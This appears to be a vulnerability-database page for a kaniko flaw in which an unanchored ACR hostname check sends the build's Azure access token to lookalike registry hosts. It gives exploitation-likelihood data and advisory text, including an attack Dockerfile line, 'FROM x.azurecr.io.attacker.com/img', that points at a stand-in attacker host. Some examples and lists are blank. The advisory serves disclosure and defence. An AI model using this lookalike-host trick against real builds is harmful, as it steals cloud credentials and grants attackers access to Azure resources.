CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

Should you act?

Critical and remotely reachable

No known exploitation yet, but it is network-reachable without credentials. This signal is computed from CISA KEV, EPSS and CVSS data; it is not an editorial verdict.

• No confirmed exploitation. It is not in CISA’s KEV catalog and CISA’s SSVC assessment records no known exploitation. That can change quickly after a public write-up; re-check if you are affected.
• EPSS 0.2%, percentile 9: FIRST’s model estimates a 0.2% chance of exploitation activity in the next 30 days, higher than 9% of all scored CVEs (low). EPSS is a probability, not a verdict.
• Needs a user to click or open something. Phishing makes that realistic, but it is not wormable.
• Only applies if your dependency tree includes github.com/chainguard-dev/kaniko (Go) < 1.25.20, fixed in 1.25.20. Check your lockfile, including transitive dependencies.

What it is

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from= , causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https:// /oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

From the GitHub advisory

Summary

kaniko before v1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to a registry host an attacker controls. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img, is enough. The build needs no RUN instruction and never has to push.

The flaw is in the Azure Container Registry (ACR) credential helper, github.com/chrismellard/docker-credential-acr-env. kaniko links it into the executor and warmer (the built-in helper) and also builds it as the standalone docker-credential-acr-env binary. The helper decides whether a host is an ACR registry with an unanchored regex, so any hostname that contains .azurecr.io (or .azurecr.cn, .azurecr.de, .azurecr.us) passes. The upstream module is unmaintained and has no fixed release. The Go vulnerability database tracks the upstream flaw as GO-2026-6225.

Who is affected

You are affected if you run kaniko before v1.25.20 on Dockerfiles, or build arguments, that you don't fully control, in an environment where the helper can get an Azure identity:

Weakness type: CWE-346, CWE-522.

Product: github.com/chainguard-dev/kaniko (Go) · Assigned by: chainguard · Published: 2026-11-02

Affected and fixed versions

Severity scores

• Attack vector: network (remotely reachable)
• Attack complexity: low
• Privileges required: none (no login)
• User interaction: required (a user must click/open something)
• Scope: changed (can affect other components)

CVSS measures how bad a flaw is if exploited, not how likely exploitation is. Read it next to the exploitation data below.

Exploitation and urgency

• CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
• CISA SSVC assessment: exploitation none, automatable no, technical impact total.
• FIRST EPSS (model of 2026-11-05): 0.20% probability of exploitation activity in the next 30 days; percentile 9.

Timeline

• 2026-11-02 — CVE record last updated
• 2026-11-02 — CVE record published by chainguard
• 2026-11-05 — GitHub-reviewed advisory GHSA-5q7h-w9jf-cx97 published (critical)

Sources and references

Original sources first. Version and fix details should always be confirmed against the vendor or project advisory.

Vendor and project advisories, patches

1. GHSA-5q7h-w9jf-cx97 github.com
2. github.com github.com
3. github.com github.com

Vulnerability records

1. GitHub Advisory GHSA-5q7h-w9jf-cx97 github.com
2. CVE.org record CVE-2026-105769 cve.org
3. NVD entry CVE-2026-105769 nvd.nist.gov

Other references from the CVE record and advisory

1. github.com github.com
2. GO-2026-6225 pkg.go.dev
3. github.com github.com
4. github.com github.com

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